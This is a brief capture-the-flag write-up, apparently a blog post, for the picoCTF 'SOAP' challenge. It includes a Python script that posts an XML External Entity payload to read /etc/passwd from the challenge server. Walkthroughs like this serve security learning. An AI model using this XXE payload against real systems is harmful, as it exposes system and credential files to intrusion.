SOAP
100 points
AUTHOR: GEOFFREY NJOGU
Description
The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?
Additional details will be available after launching your challenge instance.
using this python script you can get the flag by sending a request using python
import requests
headers = {
'Host': 'saturn.picoctf.net:port',
# 'Content-Length': '126',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36',
'Content-Type': 'application/xml',
'Accept': '/',
'Origin': 'http://saturn.picoctf.net:port/',
'Referer': 'http://saturn.picoctf.net:port/',
# 'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-GB,en-US;q=0.9,en;q=0.8',
'Connection': 'close',
}
data = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]><data><ID>&example;1</ID></data>'
response = requests.post('http://saturn.picoctf.net:port/data', headers=headers, data=data, verify=False)
print(response)
And we can see flag in the repsonse:
picoCTF{your flag}
Top comments (0)